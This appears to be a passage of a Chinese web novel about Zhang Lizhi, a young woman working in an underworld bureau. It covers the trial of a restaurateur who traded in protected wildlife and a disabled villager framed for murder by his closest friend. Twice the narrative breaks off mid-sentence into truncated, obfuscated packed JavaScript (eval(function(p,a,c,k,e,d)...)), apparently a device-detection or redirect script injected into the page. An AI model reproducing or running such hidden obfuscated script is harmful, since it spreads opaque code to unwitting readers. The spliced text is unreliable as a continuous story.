戒睿一路径直走到正殿门外,没有进去,寻了个角落,面向殿内,眼神复杂的静静望着。 一阵轻快的欢声笑语由远及近,一群穿着灰色僧衣的年轻和尚朝这边走来。他们面容鲜活,谈论着寺里的趣事。 戒睿怔怔的看着他们,嘴里似乎在念着什么名字,或许是某位他认识的师兄弟名字。 随后,一位眉毛有些许花白、面容慈祥的老和尚缓步走来,正是他们的师父,玄明法师。 所有人都走进了殿内,恭敬合十行礼。 戒睿在殿外,也跟着合十行礼。 而后所有人便找到了自己的位置,盘腿而坐,双手合十。 戒睿在殿外也原模原样的照做。 玄明法师开始诵经,所有的和尚也都跟随整齐的诵着。 荔枝在旁边看的入了神,她看得出戒睿的神态里,有怀念,有羡慕,还有一丝深藏的落寞,都是他曾经拥有,却失去的时光。 起初只是细微的嗡鸣声,随着众僧侣整齐的诵经声越来越响亮时,荔枝感到一阵的眩晕和头痛,彷佛有木鱼敲打在自己头上般,抬头看看戒睿,他好像也不舒服,停止了跟随诵经。但他在努力强忍着。 就在荔枝觉得撑不下去之时,周围空间瞬时一阵黯淡。 路期出现,拉起荔枝和戒睿瞬间离开了南山寺。 “张荔枝,你胆子越来越大了!”路期低吼。 “不要...不要怪姐姐,是我...我的问题。”戒睿急忙解释。 “你以为是你就没事吗?你的账我之后再跟你算!” “你别生气,我们找到了胡兴顺的罪恶证明。”荔枝上前一步说道。 “你知不知 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荔枝回想刚刚的头痛欲裂感,难道是因为寺庙圣地佛光灵验,所以鬼都不得近身,原来这也是戒睿不能进入殿内的原因。 “哦,我知道了。” “回去写一万字检查。” 审判胡兴顺的那天,算是戒睿瞬间成长的一天。 将罪恶清单和收集的现场画面影像递交给贾亭西时,贾亭西都直恨得咬紧后槽牙,地府里也有很多功勋犬,都是在世时的警犬,贾亭西一向见不得有人对犬类下毒手。 “胡兴顺,你虐杀小动物,并非法猎捕、收购、出售野生保护动物,以合法餐饮为掩护,行非法牟利之实,这些都没冤枉你吧?” “我没杀人没放火的,您说的这些,我也是真的不清楚啊,采购这些一向都是我老婆在管,我不知道啊!” “你倒是挺会推卸责任啊,又忘了自己怎么死的了?你没吃?” 胡兴顺狡辩一时,忘记了自己就是因为吃这些野味中毒导致丧命。 “这位......贾老板对吧?这也是怨我那糟妻,也不知是哪个环节出了问题,给我吃出毛病了,其实那些东西,不就是畜生吗,反正都是肉,我本来就是开饭店的,市场有需求,这不能怪我吧?” “所以你把自己吃死了,不冤。”贾亭西回道。 荔枝悄悄和唐木私语着,贾局长很会怼人。 “凭什么!你们不讲理!!地府就可以不讲理吗?!没有王法吗?” “哦?那你说说,哪里不讲理。” “我有钱,会挣钱,还有渠道,我吃点大补的东西有什么问题?我让别人吃到也是造福他们!他们还要谢谢我呢!” “你破坏生态平衡你还挺骄傲?” “是你们双标!你们不要脸!你们吃肉的时候怎么不说自己残忍?怎么,鸡鸭鱼羊的生命不是生命?我吃狗肉,吃点猴子,还有什么区别吗?!我告诉你们!真要讲区别,那就是我吃的更贵!更高级而已!” “胡兴顺,人类吃合法食材是满足需求,虐杀动物和非法猎捕野生动物是释放恶意,这是‘生存必要’和‘恶意伤害’的区别,不是双标,亏你还信佛。” “呵?别跟我提佛!我那么供奉它!我还捐款!到头来我得到什么了?” 这句还没等贾亭西反驳,一旁响起了戒睿的声音。 “你,不是虔心向佛,你只是为了,为了你的社会声誉,你的生财之路!” 戒睿说时异常坚定,甚至通顺完整。 “你废话你!我是生意人,你们不帮我挣钱,我凭什么天天给你们投钱啊!你们这些和尚想的太美了吧!” “你闭嘴!佛祖怜悯众生,不是你拿来当挡箭牌,掩饰你肮脏手段的!”贾亭西也不想再多和胡兴顺废话了,直接公布了结果。 “胡兴顺,在地狱里,你没有人命在身,本不算极凶恶鬼行列,但如今看来,你很有这个潜力啊,按照《大阴律》,你,炼狱第七层,一直呆到你的饭店倒闭为止,等你老婆有一天来地府之时,你可以让她替你了。” 胡兴顺被送走之时,荔枝还是没忍住问道,饭店里的小动物依然是摆脱不了被虐杀吃掉的命运吗? 贾亭西说道,我们无权干涉自由的人类,这种现象永远都会存在,只能看他们本身对自己的道德约束力了。 但是,我们可以联系天堂的福神,悄悄带走恶魔的一些气运。 10. 我还在童年等你(上) 胡兴顺的事情结束后,张荔枝得到了贾局长奖励的三千功德金。 将一千功德金转到了路期的餐卡上,这是之前欠路期的,还有当初买衣服的功德金荔枝想下次再还。 路期并不在意,但荔枝执意要还,并伸出了友好之手,“路期,希望以后我们合作愉快啦!” 路期先是目光落在她伸出的手上,眼神掠过一丝错愕,后又视线移到荔枝脸上,对上她那亮晶晶星眸般的眼睛。 “谁要和你握手。” 路期懒散的力道,“啪”一下将荔枝的手打了回去。 荔枝哭笑不得。 荔枝决定日后周末去档案馆兼职,这样兼职的功德金用来日常使用,贾局长发的存起来以便转世。 也是这次之后,戒睿再也不会去南山寺了,他告诉荔枝,其实那天去南山寺,他是想要告诉玄明法师,希望师父原谅他,因为他将不再同情这个虚伪的捐款人了。 这天荔枝依旧回到接应新鬼的地方,岗亭依旧是不爱讲话的范明天当值。 “喂,小黑,我发现咱俩很有工作缘。” “孽缘。” “我比你大,你叫我一声姐姐会死啊。” “我又不会死。” “......” 荔枝顿感无聊,想想如果是谢平安或者唐木当值,不知道该多有趣。 此时“人杰地灵”牌坊下一阵骚动,几个男鬼围成一圈,对着中间一个蜷缩在地上的身影拳打脚踢,嘴里还不干不净地骂着: “喂!智障,看什么看?还敢看?” “哈哈哈哈,他还真是个傻X啊!我怀疑咱骂他他都听不懂。” “怀里抱着什么呢?拿出来!给我!” 说着这帮鬼扒开躺在地上的男鬼的胳膊,见他以一种近乎扭曲的姿势紧紧地抱着胸前的东西——一个破旧的乒乓球拍。 “还我还我!不要给你们!” 男鬼看着已是中年人的年龄,但讲话给人感觉还是孩童语气。 “拿来吧你!这什么破玩意儿?” “就一破球拍啊!哈!用来揍你正好!” 荔枝眉头一拧,立刻快步冲了过去! “住手!干什么呢你们?” 荔枝钻了进去,分开了这帮施暴的人群。 见荔枝年纪轻轻,又是个女子之辈,脸上便露出不屑的神色,为首的男鬼一脸横肉,啐了一口,“小丫头片子,管什么闲事?这是个傻子,啥也不懂,要不,你也跟着哥打他两下过过瘾?” “你们还真是该死啊,到这了还不消停,等过两天都进炼狱就老实了。” “呦呵?吓唬谁呢你?哥进哪都你陪着怎么样?”横肉男狞笑起来,上前一步正要推搡。 一道迅疾的身影,精准地踢在横肉男的胸口! “啊——!”横肉男惨叫一声,翻滚在地,显然吃了个大亏。其他鬼见状,脸上也都露出惧色。 “滚回去排队。”范明天说话依然从简。 几个男鬼互相看了一眼,灰溜溜地跑向了黄泉之路。 “谢了,小黑。”荔枝道谢后,范明天不作回应,返回岗亭。 荔枝习惯了范明天的高冷,有时候觉得他很像翻版的路期,嘴硬但心软。 荔枝拉起了地上的男鬼,只见他依旧是紧紧地护住那个乒乓球拍。 “你叫什么名字呀?” “我是霍永年......”男子颤巍巍地说道。 荔枝低头翻看花名册,根本就没有霍永年这个名字。难道是像周芳草一样,误入地狱的? 看来麻烦又来了,荔枝做好了送他直达地府的准备。 然而万万没想到,在乘坐黄泉公交的途中,他会在自凉驿站下车,自凉驿站也是当初厉汉阳去的地方。 并且霍永年不叫霍永年,叫蔡欢喜。 公交到达自凉驿站时,语音播报“乘客蔡欢喜请下车”,荔枝正在张望谁是蔡欢喜时,只见“霍永年”起身走向了车门处。 荔枝刚想要拦截告知他听错名字了,见他踉跄一步下了车,但手里球拍不慎掉落在车上,“霍永年”连忙迫切地想要返回车上捡球拍,但黄泉公交,下了车就无法回头。 荔枝见“霍永年”哭嚎着消失在暗色之中,自己走过去捡起球拍收了起来。并重新翻看了一遍花名册,果然找到了“蔡欢喜”这个名字。 蔡欢喜,38岁死因:他杀 入地狱原因:杀人 荔枝一时有点难理解,既然他叫蔡欢喜,为什么要说自己叫霍永年呢?而且,他的神态和反应,似乎心智不全,或者说有智力障碍,这在宋福新的老婆马凤娇身上见过,但是蔡欢喜明显又比马凤娇懂得表达。 判官司办公室一如既往地沉寂,黎姐做报表,路期和周渡在一条条审核罪恶视频上传,荔枝最不喜欢的就是坐在这里,还不如去牌坊下执勤,至少每天都会有“地府F4”其中一人当值陪着自己,也可说是F3,范明天除外,他值班也不会和自己闲聊。 “荔枝妹妹,帮我个忙可好?”周渡突然开口。 “当然好啦周哥!” “这一摞案卷是我和小路刚审完的,你帮我们送到档案馆,按辖区归类一一放好,如果怕放错了,可以请教张染。” “好的,我明白了!”一听是去档案馆,张荔枝总有使不完的牛劲,打开自己的双肩包,将案卷小心翼翼地都放了进去。 “那小路,我们继续。” 周渡故意夹着腔调,唇角勾起浅浅弧度,路期凝眉嗤了声,而黎想依旧慢条斯理,她了解周渡又是调皮了一下特意说给路期听。 荔枝到了档案馆后没有看到张染,于是自己先认真给案卷归类,一本一本地对应着穿插放置。 放的差不多时,听到了张染进门的声音,荔枝下意识地又打开双肩包,取出自己随身携带的小镜子,左看看右照照,用手胡乱梳理了几下头发帘,满意地收起小镜子,正当合上背包——动作顿住了。 背包内层,还有自己随手放进去的乒乓球拍,是蔡欢喜视为珍宝的那个。 一个小念头突然跳进了荔枝的脑海。 就在这时,身后传来了温柔的脚步声,和那熟悉的清润嗓音:“张荔枝,又见面了。” 荔枝浑身一激灵,迅速拉好背包拉链转过身来。 “你回来啦!我是来给案卷归类的,已经弄得差不多了。” “嗯,需要帮忙找我。” “需要!可以帮我查一个名字吗,霍永年。” 蔡欢喜给荔枝留下了深刻印象,不禁疑惑,一个看起来智力不全的人,怎会如此坚定的说自己是霍永年呢?总不能是某个电视剧的角色吧。 “当然可以,只是,单凭一个名字,恐怕会检索出大量无关的重名人员。” “我知道,但我还想试一下。” “随我来。” 张染带着荔枝走到一侧检索平台前,将手虚按在操作台上,手指上的戒指光纹流转加速,眼前形成一个个跳跃字符与无数人像,而后张染将霍永年三个字输入进去,屏幕上显示出了整个地区所有叫霍永年的人。 “你想查在世的还是已故的呢?” 荔枝单纯想到花名册上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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荔枝一进门,一直低头不语的蔡欢喜余光瞥到乒乓球拍,瞬间像是被某根天线触动,原本呆滞的双眼,骤然爆发出强烈的渴望!猛地起身,朝荔枝——或者说是朝球拍,疯狂扑了过去! 事发突然!路期下意识右手猛地一拂,一股无形力量便横亘在荔枝与蔡欢喜之间,形成一秒“屏障”,蔡欢喜被这股屏障反震,弹倒在地。 周渡还想上前控制蔡欢喜时,荔枝赶忙说道:“他想要这个球拍!我知道!” 荔枝慢慢蹲下身,将手里的球拍,朝着趴在地上的蔡欢喜,轻轻递了过去。 蔡欢喜拿到球拍,突然像个孩童般哭的涕泪横流。 荔枝趁机柔声叫道:“蔡欢喜,欢喜宝宝?” 路期和周渡在一旁直翻白眼,瞬间鸡皮疙瘩起一胳膊。 蔡欢喜哭声骤然一顿,抬起泪眼模糊的脸,看向荔枝温和的眼神,卸下了应激,取而代之是孩童般委屈。 这38岁男性瞬间像个小孩子般撒娇的样子,在路期和周渡的眼里一阵翻腾反胃。 荔枝趁热打铁问道:“欢喜宝宝,霍永年是谁呀?你告诉我好不好?” “朋友,好朋友!永年......教我打乒乓球,我要等他,我要回家等他!” “你们经常在一起玩吗?” “以前......经常,后来......不经常了。” “那加我一个,我和你们一起玩好不好?” “你送我回家!我们......一起等永年!” 荔枝转头看向了路期和周渡,周渡点了点头,随即看向路期说:“走一趟?” “随意。” 周渡扶起地上的蔡欢喜,对荔枝说道:“荔枝妹妹,下辈子转世当个幼师吧。” 11. 我还在童年等你(下) 蔡欢喜的家在凤化村,地府条例里常规情况下不允许带鬼重回阳间,但为了查清事故原因可以破例一次,也就是蔡欢喜只有这最后一次机会看看自己的老家了。 一进村,蔡欢喜的眼神便清晰了几分,欢蹦乱跳地给荔枝讲解着村子里的一草一木,路期和周渡在二人身后麻木地跟随着。 蔡欢喜停在一处低矮的、墙皮剥落的砖坯房前。 院子里杂草丛生,显然无人打理,但院子中央,有一个与周遭荒凉格格不入的设施——一个简陋的自制乒乓球台。 台面开裂,球网不知去向,但能明显看出频繁使用的痕迹。 “永年和我在这里打球!这是永年给我做的!以后咱俩打!” “嗯嗯!”荔枝也配合回应。 进屋后。 “你看,都是永年给我照的!但是......合照怎么没了呢......” 屋内极其简陋,房梁塌陷,边角处早已有渗水痕迹,只有一烧火炕,上面摆放凌乱的被子,被子很薄,满是补丁;墙壁上贴满了照片,记录着蔡欢喜从小到大的样子,有几处镂空的白墙,胶水蹭掉墙皮的痕迹,显然这些地方也贴过照片,被人撕掉了。 路期在火炕枕头边,发现了一个小学生作文本,向周渡使了个眼色,周渡便让荔枝带着蔡欢喜去院子里玩。 本子的内容是蔡欢喜的日记: 今天,葛叔家办白事,我去帮忙了,葛叔给我吃鸡了,果然还是肉好吃,吃到肉了好开心,偷偷给永年留了一只鸡腿,等他回来给他吃。 今天,永年回来陪我玩了,还给我带了一副球拍,我们俩一人一个,他教我打乒乓球,说我学会了可以参加奥运会,第一名起码能吃到100个鸡腿。 今天,我的球拍被胜子抢了,他说有本事就去他学校,他在五年级二班等我,我去了,但大门口有个爷爷不让我进,问我家里人的手机号是多少,我只记得住永年的,于是永年就来学校门口接我回家了,好神奇的学校啊,可以召唤永年。 今天,我捡了好多瓶子,还有纸箱子,我挣了10块,等永年回来我都给他,不知道他在外面吃肉有没有给我留着,他好久没回来了。 今天,永年终于回来了,但是还带了一个女人,女人不让我靠近她,永年给我带的炸整鸡,我把鸡腿拿下来给女人吃,女人不吃还扔在了地上,永年捡起来吃了,永年和我说女人都是不吃肉的,让我记住再不要给她。 今天,永年又是时隔好久才回来,这次没有给我带礼物,但会陪我玩游戏,并且让我在他家住两天,他走后让我独自帮他看家,告诉我一旦有人问起我是谁,就告诉问话人我叫霍永年。 路期和周渡看着这一篇篇流水账般小作文,问题应该就发生在最后一篇上,霍永年为什么要让蔡欢喜假装自己呢? 而门外这会儿,蔡欢喜又跑出了院子,朝着村口狂奔,荔枝三人再次跟上。 村口有一块被磨得光滑包浆的大石头,蔡欢喜跑到这里,停下了脚步,抱着球拍,爬上去乖乖坐好,面朝着村外方向的唯一一条蜿蜒土路。 “我们在这里等永年!我都是在这里等他,他会给我带礼物的!等他回来,我向他介绍你,他以后也会给你带礼物!” “好啊,听你的。” 路期和周渡觉得有必要再去霍永年家里看看,于是荔枝对蔡欢喜说:“欢喜,我们一起去永年家吧,没准他会在家里给你留下惊喜呢!” “好!我带你去!” 霍永年家是一栋相对较新的红砖平房,门窗紧锁,门上贴着褪色的春联。 路期和周渡分别带着荔枝和蔡欢喜瞬移到霍永年家院子里,没想到蔡欢喜瞬间脚步停住,身体开始发抖。 觉察到了蔡欢喜的异样,荔枝轻声问:“怎么了,欢喜?” 蔡欢喜开始猛烈摇头,眼神充满了恐惧,向后退步,声音突然带着哭腔:“不去了......不去了......不好玩......最后一个游戏一点都不好玩!” “游戏?什么游戏?”荔枝心头一紧,追问道。 蔡欢喜似乎陷入某种混乱而恐怖的回忆,语无伦次。 “就在那里......永年......给我刀......让我扎......扎那个人,他躺在地上,一动不动......” “谁?谁躺在地上?” “他......他不动......永年说,这是游戏......他感受不到疼的......我扎了一下......” “可是后来......好多人来打我......好疼!我好疼!醒来以后......就是你们......不!是......是那个穿白衣服的人了......” 荔枝一时没能理解这些信息量,但蔡欢喜最后说的白衣服人应该是谢平安,蔡欢喜被人打死后,是谢平安接的他来地狱。 路期和周渡瞬间交换了一个震惊的眼神,这哪里是游戏,这分明是...... 路期轻咳了一声说:“撤吧,看来得回去约谈被扎的那位了。” 包德本来很快就被送进炼狱,周渡申请了特殊调查,将包德带了出来,而对于包德而言,在炼狱里痛苦不堪,饱受折磨,能出来躲一天算一天,所以周渡让他做什么他都很配合。 包德见到蔡欢喜时很陌生,显然并不认识。 而蔡欢喜见到包德,吓到摔在地上,嘴里自言自语道:“你......你不疼,你不疼......” 周渡问包德:“包德,你是被他杀害的吗?” 没想到包德回:“什么啊?害我的是霍永年那个垃圾。” “你不认识他吗?他叫蔡欢喜。” “什么?原来他就是那个傻子啊?服了,真是该来的人不来。”包德说道。 周渡继续问道:“包德,霍永年为什么要加害你?” “他欠我钱呗!你们应该知道,我在世时干那点破事,我没事放放贷,霍永年跟我这借了高利贷,结果人没影了,我去他打工那球馆找他,结果人辞职了!我又不知道他家庭住址,光托人打听到了他老家那个村,那村里也有我认识的弟兄,我就安排弟兄去他家里吓唬吓唬他,弟兄们没见过霍永年,回来跟我说,这霍永年是个傻子,除了说‘我叫霍永年’别的啥也不会,这不搞笑呢!” “我是后来才知道,那垃圾怕我对他下毒手,找了个傻子当替死鬼呢!幸亏我弟兄们都有脑子,不跟傻子置气。” “后来我亲自去霍永年家蹲他,先声明啊,我本意是想跟他好好谈的,要不我也不能自己一个人去啊!好家伙,垃圾就是垃圾,躲墙角拿刀暗算我!虽然我作孽不少,但死在他手里,我真是够憋屈!” 包德说这些的时候,蔡欢喜出奇的安静,不知道他有没有理解事情最根本的真相,以及霍永年骗他玩的“游戏”。 在审判蔡欢喜之前,莫名出现了来自蔡欢喜亲属送来的贡品通知,往往家属为已故亲属烧纸钱与贡品,都是判决结束,进炼狱之后的事情了,再由炼狱当值阴差分配处理,一部分充公,一部分归他们自己。 而蔡欢喜在世时是个无人在意的存在,没有那些常规的殡葬流程,死后直接被人安排下葬了。 埋葬他的正是霍永年。 荔枝的再三拜托下,路期又破例带蔡欢喜去了他的坟前。 只见霍永年跪在那里,手里攥着和蔡欢喜的合照,坟前还有烧完纸钱的余烬,以及一只炸整鸡。 “欢喜,对不起,我们从小一起长大,虽然你的智力停留在了8岁,但我从来都拿你当我最好的兄弟,兄弟啊......是我害了你,是我骗了你,是我杀了人,擦掉了自己的指纹,把刀递给你,陷害了你......我想着,给你开一个精神病鉴定报告,到时候你就可以无罪了,要是不行,最坏的打算,把你关进去几年,出来我也养你一辈子!我就是没想到,他们会这么狠,会去直接报复到你身上......对不起欢喜......” “欢喜......原谅我好吗?是我胆小了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张荔枝不明白,贾局长这次为何又突然好说话了,霍永年明明那么坏了,况且蔡欢喜也是个痴儿,说话不应该作数的,但贾局长还是放任了蔡欢喜为霍永年多争取来的阳寿。 后来看到贾局长案桌上的清单资料,里面有一张是来自凤化村的村民口述,大概内容为: 几乎每个村子里都有一个傻子,被称为守村人,老话讲,因为替村子挡了灾所以变成这样,由于脑袋不好使,一天到晚无所事事,从村头逛到村尾,为人老实敦厚,无欲无求乐于助人,蔡欢喜就是一个守村人。 欢喜8岁高烧一场,烧坏了大脑,于是智力停留在了8岁,村里红白事都会叫他帮忙,他不求回报,只需要给一口饭吃就行,帮忙到最后才坐下吃饭,却没有人愿意和他一桌,在村子里被人欺负嫌弃,只有霍永年这一个朋友,互相陪伴对方长大,永年下学后进城在球馆打工,节假日必会回家看欢喜,给欢喜带不同的礼物,球拍就是第一份礼物。 欢喜如果听说永年今天会回来,便会在村头大石头上坐等,虽不爱讲话,但每次都是第一个迎接,永年下车后笑脸相迎。 永年每次离开,蔡欢喜都会往他车里塞东西,一把小葱一兜红薯,像小时候一样,有好吃的就要分享给永年,在欢喜的世界里最好吃的是肉,但欢喜没有钱,只能以捡废品为生,挣到几块钱都要交给永年,让永年在外打工记得吃肉。 永年挣到的钱每月都会寄一部分给欢喜的亲戚,但往往都被亲戚私自贪污掉,后来永年只能亲自给欢喜买衣服鞋子,帮欢喜洗脸洗澡。 后来永年结婚成家,妻子很讨厌蔡欢喜,也绝不同意永年再私自接济蔡欢喜,永年只能慢慢收敛,回家次数也越来越少。 对于蔡欢喜而言,霍永年就是自己生活的全部。 对于霍永年而言,蔡欢喜也是治愈成年后自己的良药。 如今霍永年长大了,蔡欢喜却还在童年等他。